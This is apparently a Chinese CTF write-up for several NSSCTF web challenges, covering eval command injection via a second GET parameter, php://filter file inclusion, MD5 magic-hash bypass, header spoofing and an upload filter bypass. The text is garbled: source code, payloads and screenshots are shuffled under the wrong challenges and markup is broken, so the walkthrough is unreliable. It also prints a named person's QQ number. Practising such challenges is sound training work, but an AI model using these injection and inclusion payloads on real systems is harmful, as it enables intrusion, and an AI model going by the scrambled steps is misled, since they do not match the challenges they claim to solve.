目录
WEB
1.funny_web
先试试随便填写一点内容,然后显示:用户名是实验室名哦~
得知是 NSS
再次提交后显示:听说密码是招新群某位的QQ
第一时间就想到了我们的谢队的QQ~2122693401
于是进入rea11y.php来到第一道题- [/code]首先,这里对参数[b]get[/b]作了长度限制,并且要过滤掉[b]flag[/b]字符串,如果要输入的指令太长,并且还要输入[b]flag[/b],那么就想,能不能让指向另外一个参数呢?
- 先测试这个想法能不能通过,于是构造如下payload
- [code]?num=12345/
复制代码
很明显这个长度已经远超18的限制,并且flag字符串也没被过滤掉,那就证明了这个思路是正确的。
那么先尝试查看一下当前目录有什么文件呢,让他执行一下ls
发现一个flag.php,那试试cat flag.php?- [/code][img]https://nssctf.wdf.ink/img/zack/web_dog_final_3.jpg[/img]
- 但是很遗憾,没回显,说明这个flag.php是假的
- 那么尝试一下搜索查看一下根目录有没有
- [code]?x=QNKCDZO&y=240610708
复制代码 
发现根目录下有一个flag,现在再尝试用cat /flag- <?php
- error_reporting(0);
- include "flag.php";
- highlight_file(__FILE__);
- if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
- echo $FLAG;
- }
复制代码
得到flag,本题结束
6.Ez_upload
先随便传一个文件试试

传不进去,那就打开Burp看看

先把文件内容删除试试,再提交看看

发现成功上传了,那试试传一个phpinfo();- [/code][img]https://nssctf.wdf.ink/img/zack/ez_upload_burp_2.jpg[/img]
- 不正确,那先不用[b]php[/b]的文件后缀名再试试呢?
- [img]https://nssctf.wdf.ink/img/zack/ez_upload_burp_3.jpg[/img]
- 这里没有再提示文件后缀名的问题,而是另外一个提示。说明很有可能是过滤了<strong>
复制代码 分析一下代码,就是一个很简单的序列化
这里lt就是要执行的函数,lly是要传给函数的参数
手写一个payload,先看一下目录里面有些啥- <?php
- error_reporting(0);
- if (isset($_GET['file'])) {
- if ( substr($_GET["file"], 0, 3) === "php" ) {
- echo "Nice!!!";
- include($_GET["file"]);
- }
- else {
- echo "Hacker!!";
- }
- }else {
- highlight_file(__FILE__);
- }
- //flag.php
复制代码
回显只有index.php
看来似乎得想别的办法,试试搜索一下flag呢- ?file=php://filter/resource=flag.php
复制代码
发现flag在根目录下,那就直接让它显示出来- ?file=php://filter/resource=flag
复制代码
找到flag,本题结束。
11.xff
打开靶机显示Must be accessed from Xiaohong's own computer.
先用hackbar添加X-Forwarded-For到127.0.0.1
返回显示Must be jump from Home Page.
再次利用hackbar添加Referer到127.0.0.1
轻松得到flag

12.js_sign
启动靶机,打开开发者工具发现指向了main.js,打开后分析- [/code]将[b]dGFwY29kZQ==[/b]解码后得到提示:[b]tapcode[/b]
- 网上实在是没找到合适的tapcode解码工具,于是我去找了一张tapcode对照表
- [img]https://nssctf.wdf.ink/img/zack/tapcode%E5%AF%B9%E7%85%A7%E8%A1%A8.png[/img]
- 按照对照表手动翻译了一遍,得到结果:
- [code]<?php
- error_reporting(0);
- highlight_file(__FILE__);
- if (isset($_GET['get'])){
- $get=$_GET['get'];
- if(!strstr($get," ")){
- $get = str_ireplace("flag", " ", $get);
-
- if (strlen($get)>18){
- die("This is too long.");
- }
-
- else{
- eval($get);
- }
- }else {
- die("nonono");
- }
- }
-
- ?>
复制代码 按照平台格式要求,最终flag为NSSCTF{youfindflagbytapcode}
13.ez_ez_unserialize
启动靶机,源码如下- [/code]看完后也就是说,要同时满足[b]L1、L2、L3[/b]都存在,那就一个一个的分析好了。
- 先看[b]L1[/b],既要长度小于3,又要数据大于999999999,怎么会有这么奇怪的逻辑判断,不讲武德直接数组绕过
- [code]?get=eval($_GET['A']);&A=system('ls');
复制代码
回显<strong>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |